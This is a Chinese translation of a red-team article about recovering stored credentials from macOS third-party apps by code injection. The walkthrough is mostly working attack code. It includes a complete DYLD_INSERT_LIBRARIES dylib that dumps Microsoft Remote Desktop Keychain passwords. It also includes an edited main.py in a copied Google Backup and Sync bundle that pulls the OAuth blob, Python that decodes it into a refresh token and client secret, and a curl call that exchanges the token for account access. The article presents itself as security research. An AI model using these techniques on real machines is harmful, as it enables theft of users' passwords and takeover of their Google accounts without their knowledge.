前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >拿起Mac来渗透:恢复凭证

拿起Mac来渗透:恢复凭证

作者头像
FB客服
发布于 2020-03-10 07:49:54
发布于 2020-03-10 07:49:54
1.8K00
代码可运行
举报
文章被收录于专栏:FreeBufFreeBuf
运行总次数:0
代码可运行

介绍

获取凭证信息是红队的常用套路,因为这些凭证可横向移动的一把好手。网上很多用Windows进行凭据恢复的研究,随着渗透人员经济条件越来越好,各位师傅都换上了Mac(馋.jpg)

所以这篇文章中,我们将探讨如何通过代理应用程序进行代码注入来访问MacOS第三方应用程序中存储的凭据,包括Microsoft远程桌面和Google云端硬盘的案例研究。

Microsoft远程桌面

使用远程桌面应用程序时,注意它都具有一个保存RDP会话凭据的功能,如下所示:

这些会话的已存储凭据在应用程序中

发现这些凭据的第一步是探索应用程序的沙箱容器,使用命令grep -ir contoso.com查看Preferences / com.microsoft.rdc.mac.plistplist文件中包含的字符串。使用plutil -convert xml1 Preferences / com.microsoft.rdc.mac.plist将其转换为纯文本,我们看看:

在plist文件中,我们可以找到有关凭证的各种详细信息,但不幸的是,没有明文密码。如果这么简单,那就太好了。

下一步是在反汇编程序中打开“远程桌面”应用程序。

基于以上所述,我们知道已保存的条目在应用程序中被称为书签。

我们查下KeychainCredentialLoader::getPasswordForBookmark()方法,我们可以看到,除其他外,它调用了一个名为getPassword()的方法:

在getPassword()内部,它尝试通过调用findPasswordItem()方法来发现Keychain,该方法使用SecKeychainSearchCreateFromAttributes()来找到相关的Keychain并最终复制出其内容:

基于所学知识,我们现在了解到RDP会话的密码存储在Keychain中。我们可以使用Keychain access应用程序对此进行确认:

但是,如果没有提权,我们无法访问已保存的密码。

找回密码

查看“访问控制”选项卡,我们可以看到Microsoft Remote Desktop.app被授予了对此项目的访问权限,并且不需要Keychain密码即可执行此操作:

回到我们最初的理论,如果我们可以注入到应用程序中,那么我们可以从Keychain中检索此密码。但是,在MacOS上进行代码注入并不是一件容易的事,并且当适当的安全控制措施到位(即SIP和适当的权利或启用了hardened runtime)时,Apple已经将其锁定了。这些选项可防止注入未经Apple签名或与应用程序相同的团队ID的库。

对我们来说幸运的是,使用codesign -dvvv –entitlements进行了验证:/Applications/Microsoft\ Remote\ Desktop.app/Contents/MacOS/Microsoft\ Remote\ Desktop我们发现没有这样的保护措施,意味着我们可以很好地使用-known DYLD_INSERT_LIBRARIES技术注入我们的动态库。

一个简单的dylib,用于根据发现的书签搜索“Keychain”项,如下所示:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#import "hijackLib.h"
@implementation hijackLib :NSObject
-(void)dumpKeychain {
    NSMutableDictionary *query = [NSMutableDictionary dictionaryWithObjectsAndKeys:
    (__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnAttributes,
    (__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnRef,
    (__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnData,
    @"dc.contoso.com", (__bridge id)kSecAttrLabel,
    (__bridge id)kSecClassInternetPassword,(__bridge id)kSecClass,
    nil];
    NSDictionary *keychainItem = nil;
    OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, (void *)&keychainItem);
    if(status != noErr)
    {
        return;
    }
    NSData* passwordData = [keychainItem objectForKey:(id)kSecValueData];
    NSString * password = [[NSString alloc] initWithData:passwordData encoding:NSUTF8StringEncoding];
    NSLog(@"%@", password);
}
@end
void runPOC(void) {
    [[hijackLib alloc] dumpKeychain];
}
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
    runPOC();
    exit(0);
}

编译该库并通过DYLD_INSERT_LIBRARIES注入,我们可以查看存储在Keychain中的纯文本密码:

Google云端硬盘

前面的示例相对来说比较琐碎,因为远程桌面应用程序未包含任何运行时保护措施以防止未经授权的代码注入。让我们看另一个例子。

如果我们查看Google云端硬盘应用程序的元数据和权利,我们可以看到该应用程序使用了hardened runtime:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$ codesign -dvvv --entitlements :- '/Applications//Backup and Sync.app/Contents/MacOS/Backup and Sync'
Executable=/Applications/Backup and Sync.app/Contents/MacOS/Backup and Sync
Identifier=com.google.GoogleDrive
Format=app bundle with Mach-O thin (x86_64)
CodeDirectory v=20500 size=546 flags=0x10000(runtime) hashes=8+5 location=embedded

Apple介绍:

hardened runtime与系统完整性保护(SIP)一起,通过防止某些类型的利用,例如代码注入,动态链接库(DLL)劫持和进程内存空间篡改,来保护软件的运行时完整性。

我的同事亚当·切斯特(Adam Chester)之前曾谈到过,当这些保护措施不到位时,如何实现向代理应用程序的代码注入,但是在这种情况下,hardened runtime意味着如果我们尝试使用亚当描述的先前的DYLD_INSERT_LIBRARIES或Plugins技术,将失败,我们将无法再使用加载程序将其注入该进程。但是有替代路线吗?

仔细研究Google云端硬盘应用,我们会在该应用的Info.plist中发现以下内容:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<key>PyRuntimeLocations</key>
    <array>
<string>@executable_path/../Frameworks/Python.framework/Versions/2.7/Python</string>
    </array>

我们还注意到/ Applications / Backup和Sync.app/Contents/MacOS文件夹中的其他Python二进制文件:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
-rwxr-xr-x@  1 dmc  staff  49696 23 Dec 04:00 Backup and Sync
-rwxr-xr-x@  1 dmc  staff  27808 23 Dec 04:00 python

因此,这里发生的是Google Drive的“备份和同步”应用程序实际上是基于python的应用程序,可能使用py2app或类似程序进行了编译。

让我们看看这是否为我们提供了执行代码注入的机会。

分析

查看该应用程序,我们发现唯一的python源文件是./Resources/main.py,它执行以下操作:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
from osx import run_googledrive
if __name__ == "__main__":
  run_googledrive.Main()

不幸的是,我们不能修改该文件,因为它位于受SIP保护的目录中。但是,我们只需将整个应用程序复制到一个可写的文件夹中,它将保持相同的权利和代码签名;我们将其复制到/tmp。

使用/tmp文件夹中的应用程序副本,我们编辑main.py来试试是否可以修改:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
if __name__ == "__main__":
  print('hello hackers')
  run_googledrive.Main()

运行该应用程序,我们可以看到我们已经执行了Python:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
/t/B/C/Resources $ /tmp/Backup\ and\ Sync.app/Contents/MacOS/Backup\ and\ Sync
/tmp/Backup and Sync.app/Contents/Resources/lib/python2.7/site-packages.zip/wx/_core.py:16633: UserWarning: wxPython/wxWidgets release number mismatch
hello hackers
2020-02-21 09:11:36.481 Backup and Sync[89239:2189260] GsyncAppDeletegate.py : Finder debug level logs : False
2020-02-21 09:11:36.652 Backup and Sync[89239:2189260] Main bundle path during launch: /tmp/Backup and Sync.app

既然我们知道可以在代码签名无效的情况下执行任意python,是否可以以某种方式滥用它?

滥用 Surrogate

通过查看Keychain,我们发现该应用程序已存储了多个项目,包括以下标记为“应用程序密码”的项目。设置访问控制,以便Google云端硬盘应用无需身份验证即可恢复该访问控制:

让我们看看如何使用替代应用程序来恢复它。

回顾该应用程序如何加载其Python软件包,我们在./Resources/lib/python2.7/site-packages.zip中发现了捆绑的site-packages资源,如果我们对此进行解压缩,则可以了解发生了什么。

对“ keychain”执行初始搜索会发现几个包含字符串的模块,包括osx / storage / keychain.pyo和osx / storage / system_storage.pyo;我们感兴趣的一个是system_storage.pyo,keychain.pyo,这是keychain_ext.so共享库的Python接口,它提供了本地访问以访问Keychain。

反编译并查看system_storage.pyo,我们发现以下内容:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
from osx.storage import keychain
LOGGER = logging.getLogger('secure_storage')
class SystemStorage(object):
    def __init__(self, system_storage_access=None):
        pass
    def StoreValue(self, category, key, value):
        keychain.StoreValue(self._GetName(category, key), value)
    def GetValue(self, category, key):
        return keychain.GetValue(self._GetName(category, key))
    def RemoveValue(self, category, key):
        keychain.RemoveValue(self._GetName(category, key))
    def _GetName(self, category, key):
        if category:
            return '%s - %s' % (key, category)
        return key

考虑到这一点,让我们修改main.py以尝试从Keychain中检索凭证:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
from osx import run_googledrive
from osx.storage import keychain
if __name__ == "__main__":
  print('[*] Poking your apps')
  key = “xxxxxxxxx@gmail.com"
  value = '%s' % (key)
  print(keychain.GetValue(value))
  #run_googledrive.Main()

这次,当我们运行该应用程序时,我们获得了一些似乎是base64编码的数据:

让我们更深入地了解这是什么以及我们是否可以使用它。

搜索在secure_storage.SecureStorage类是用于我们找到了TokenStorage类,包括方法:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
def FindToken(self, account_name, category=Categories.DEFAULT):
    return self.GetValue(category.value, account_name)

所述TokenStorage类则内使用公共/ AUTH / oauth_utils.pyo在模块LoadOAuthToken方法:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
def LoadOAuthToken(user_email, token_storage_instance, http_client):
    if user_email is None:
        return
    else:
        try:
            token_blob = token_storage_instance.FindToken(user_email)
            if token_blob is not None:
                return oauth2_token.GoogleDriveOAuth2Token.FromBlob(http_client, token_blob)

看一下oauth2_toke.GoogleDriveOAuth2Token.FromBlob方法,我们可以看到发生了什么:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
@staticmethod
def FromBlob(http_client, blob):
    if not blob.startswith(GoogleDriveOAuth2Token._BLOB_PREFIX):
        raise OAuth2BlobParseError('Wrong prefix for blob %s' % blob)
    parts = blob[len(GoogleDriveOAuth2Token._BLOB_PREFIX):].split('|')
    if len(parts) != 4:
        raise OAuth2BlobParseError('Wrong parts count blob %s' % blob)
    refresh_token, client_id, client_secret, scope_blob = (base64.b64decode(s) for s in parts)

我们从Keychain中恢复的Blob令牌,client_id和client_secret等的base64副本。我们可以使用以下方法恢复它们:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import base64
_BLOB_PREFIX = '2G'
blob = ‘2GXXXXXXXXXXXXX|YYYYYYYYYYYYYY|ZZZZZZZZZZZ|AAAAAAAAAA='
parts = blob[len(_BLOB_PREFIX):].split('|')
refresh_token, client_id, client_secret, scope_blob = (base64.b64decode(s) for s in parts)
print(refresh_token)
print(client_id)
print(client_secret)

然后,刷新令牌可用于请求新的访问令牌,以提供用户身份访问Google帐户:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$ curl https://www.googleapis.com/oauth2/v4/token \
                                    -d client_id=11111111111.apps.googleusercontent.com \
                                    -d client_secret=XXXXXXXXXXXXX \
                                    -d refresh_token=1/YYYYYYYYYYYYY' \
                                    -d grant_type=refresh_token
{
  "access_token": “xxxxx.aaaaa.bbbbb.ccccc",
  "expires_in": 3599,
  "scope": "https://www.googleapis.com/auth/googletalk https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/peopleapi.readonly https://www.googleapis.com/auth/contactstore.readonly",
  "token_type": "Bearer"
}

结论

在这项研究中,介绍如何通过滥用代码注入替代应用程序来从MacOS设备的Keychain中恢复凭证而无需提升权限。尽管Apple提供了一些保护措施来限制代码注入,但是当利用已经具有访问存储资源所需权限的代理应用程序时,这些保护措施并不总是完全有效的。

*参考来源:mdsec,FB小编周大涛编译,转载请注明来自FreeBuf.COM

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-03-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
聊聊微前端的原理和实践
本文对微前端的概念和场景进行科普,介绍一些主流的微前端的实现库及其用法,并讲解部分这些库的原理和实践知识。
2020labs小助手
2020/07/27
2.2K0
用微前端 qiankun 接入十几个子应用后,我遇到了这些问题
我们先用 vue-cli快速创建一个项目,作为主应用,这里把他取名为 main-app
winty
2023/12/19
8.5K3
用微前端 qiankun 接入十几个子应用后,我遇到了这些问题
我在公司项目上用了微前端,差点被开除
故事的开头 从微前端的qiankun去年开始火的时候,我就注意到了,我们公司的Saas系统是可以用这个去解决UI、体验上的一些问题,以及让技术栈平滑过渡迁移,但是奈何时机不够成熟 今年抓住了时机,感觉是时候推进微前端了,加上公司内部的星舟平台(Devops平台)也开始推广,我开始寻思改造这个事 改造不为了炫技,仅仅为了提升开发、用户体验!当你需要微前端的时候,再用它 我在公司内部做了一个技术分享 我的微前端改造是利用k8s + qiankun + ingress(path)的配置,达到快速部署的目的,完全无
Peter谭金杰
2022/03/22
9100
我在公司项目上用了微前端,差点被开除
微前端之qiankun微前端
微前端项目是将每一个可以独立开发,测试,部署的子项目集合到一个主项目之下。对于用户来说,主项目仍然是一个完整的产品,而整个组装的过程对于用户来说,是透明的。
雪糕的晴天
2021/04/01
2.7K0
微前端之qiankun微前端
微前端方案 qiankun 的样式隔离能不用就别用吧,比较坑
qiankun 是主流的微前端方案,其他的还有京东的 micro-app、腾讯的 wujie 等。
神说要有光zxg
2023/02/01
2.8K0
2022年了你必须要学会搭建微前端项目及部署方式
一、微前端简介 微前端是一种类似于微服务的架构,它将微服务的理念应用于浏览器端,即将 Web 应用由单一的单体应用转变为多个小型前端应用聚合为一的应用。各个前端应用可以独立运行、独立开发、独立部署。 微前端的好处 应用自治。只需要遵循统一的接口规范或者框架,以便于系统集成到一起,相互之间是不存在依赖关系的。 单一职责。每个前端应用可以只关注于自己所需要完成的功能。 技术栈无关。你可以使用 Angular 的同时,又可以使用 React 和 Vue。 微前端的缺点 应用的拆分基础依赖于基础设施的构建
前端进阶之旅
2022/01/06
2.4K0
2022年了你必须要学会搭建微前端项目及部署方式
微前端究竟是什么?微前端核心技术揭秘!
导语 | 微前端是将Web应用由单一的单体应用转变为多个小型前端应用聚合为一的一种手段。本文从微前端的基础理论出发,对其核心技术进行阐述,最后结合项目进行简单的应用实践。 一、微前端背景 (一)什么是微前端 微前端提供了一种技术:可以将多个独立的Web应用聚合到一起,提供统一的访问入口。一个微前端应用给用户的感观就是一个完整的应用,但是在技术角度上是由一个个独立的应用组合通过某种方式组合而成的。 为了防止概念有点抽象,可以看一个具体的例子:上图是一个微前端的demo,主应用中有导航栏,footer组件以及
腾讯云开发者
2022/02/24
2.5K0
[14章附电子书]从0到1落地微前端架构, MicroApp实战招聘网站
能够应对不同技术栈、不同构建工具的巨石应用架构是前端高级工程师的衡量标准之一。本文为你提供一套大型中台项目构建、多技术栈项目融合的最佳落地方案,并结合主流微前端框架MicroApp,流行技术栈Vue3、React18、Nuxt2、Vue2、Vite、Webpack最终聚合实现多个子应用的大型招聘网站,助力你成长为独当一面、具备team leader潜质的前端高级工程师。
小企鹅204415010
2024/04/22
3260
浅入深出的微前端MicroApp
导读 本文将深入浅出地探讨微前端架构模式——MicroApp,从微前端的基本概念、核心优势以及如何在现代web开发中实现它,详解微前端如何使得大型应用能够分解为小型、简单、可独立开发和部署的子应用,同时还能保持各个子应用间的完整性和协调性。此外,本文还将探讨实施微前端时可能遇到的挑战和最佳实践,为开发者提供一条清晰的实施路径,帮助其构建更加灵活和可维护的前端生态系统。
京东技术
2024/02/04
2.3K0
浅入深出的微前端MicroApp
作为面试官,为什么我推荐微前端作为前端面试的亮点?
作为面试官,我经常听到很多候选人说在公司做的项目很简单,平常就是堆页面,写管理端,写H5,没有任何亮点,我以我一次面试候选人的经历分享给大家
linwu
2023/07/27
1.3K0
作为面试官,为什么我推荐微前端作为前端面试的亮点?
微前端自检清单
最近在做公司微前端,整理了一份微前端搭建清单,如果你正在考虑是否要做微前端,不妨做个参考。
疯狂的技术宅
2020/07/22
9660
【微前端】1443- 将微前端做到极致-无界方案
微前端已经是一个非常成熟的领域了,但开发者不管采用哪个现有方案,在适配成本、样式隔离、运行性能、页面白屏、子应用通信、子应用保活、多应用激活、vite 框架支持、应用共享等用户核心诉求都或存在问题,或无法提供支持。本文提供一种基于 iframe 的全新微前端方案,完善的解决了这些核心诉求。
pingan8787
2022/11/15
5.3K1
【微前端】1443- 将微前端做到极致-无界方案
微前端从singleSpa到qiankun
微前端解决什么问题?近几年前端的工程化知识开发愈演愈烈,后端解耦,前端聚合,兴起微前端的技术主要是因为SPA项目工程,得到了长足的发展,所有的微前端都是为了解决工程与工程之间的粘合问题即是 从所有收集的部分组成并返回一个无缝的HTML页面
用户10106350
2022/10/28
1.3K0
微前端从singleSpa到qiankun
我们是怎么在项目中落地qiankun的
由于业务增长,团队拆分,我们需要将原有系统的一部分模块(Vue实现)迁移到另外一个系统(React)中。但两个系统技术栈不同,导致重构成本变大,但业务又希望在短期内看到效果,后面可以增量的重构。
GopalFeng
2022/08/01
1.5K0
我们是怎么在项目中落地qiankun的
了解一下微前端
微前端不知道什么时候开始变得非常火,结合后台的微服务,可以把一个系统切分为一个个子模块。比如用户模块、权限模块、订单模块等,每一个模块可以单独开发、测试、部署,每个模块还可以使用不同的技术,最后通过主应用加载这些模块。
wade
2020/08/11
5650
一文读懂微前端架构
前端开发在程序猿中无疑是一个比较苦逼的存在,作为一个前端开发,你必须要掌握Javascript,HTML,CSS这三大基础。Javascript作为网络时代最为重要的开发语言,由于其设计上的限制,一直在演进,经历了ES3,ES5,ES6(ECMAScript 2015)... ... 而简单的CSS也无法完成你复杂的需求,你需要Less/Sass/Sytlus来增强你的CSS的功能。这些还远远只是一小部分,你还需要了解:
yuanyi928
2021/05/27
3.1K0
一文读懂微前端架构
你需要了解的几种微前端解决方案
在之前的文章中,我们已经深入剖析了微前端究竟是什么,可以带来什么收益,现在让我们复习一下微前端的概念:
ConardLi
2020/12/15
2.6K0
你需要了解的几种微前端解决方案
金九银十,带你复盘大厂常问的项目难点
作为面试官,我经常听到很多候选人说在公司做的项目很简单,平常就是堆页面,写管理端,写H5,没有任何亮点,我以我一次面试候选人的经历分享给大家
linwu
2023/09/07
1K0
金九银十,带你复盘大厂常问的项目难点
微前端——理论
天下大势,分久必合合久必分。大型组织的组织结构、软件架构在不断的发生变化。一款软件从最初的单一,进行不断的细化,最终变得庞大,从而不得不拆分到不同部门,出现多样化。然而在多样化的道路上,用户厌倦了一家公司的软件却要分散于不同的应用中,于是应用又再一次走向聚合。
maureen
2022/09/25
2.4K0
【微前端】10分钟学会乾坤大挪移
今天刚刚学习了一个微前端框架——乾坤,正着热乎劲,写一篇入门博客。这篇文章不会讨论太多的原理和实现,只是一个入门写 Hello World 的教程。
童欧巴
2021/08/20
1.3K0
【微前端】10分钟学会乾坤大挪移
推荐阅读
相关推荐
聊聊微前端的原理和实践
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验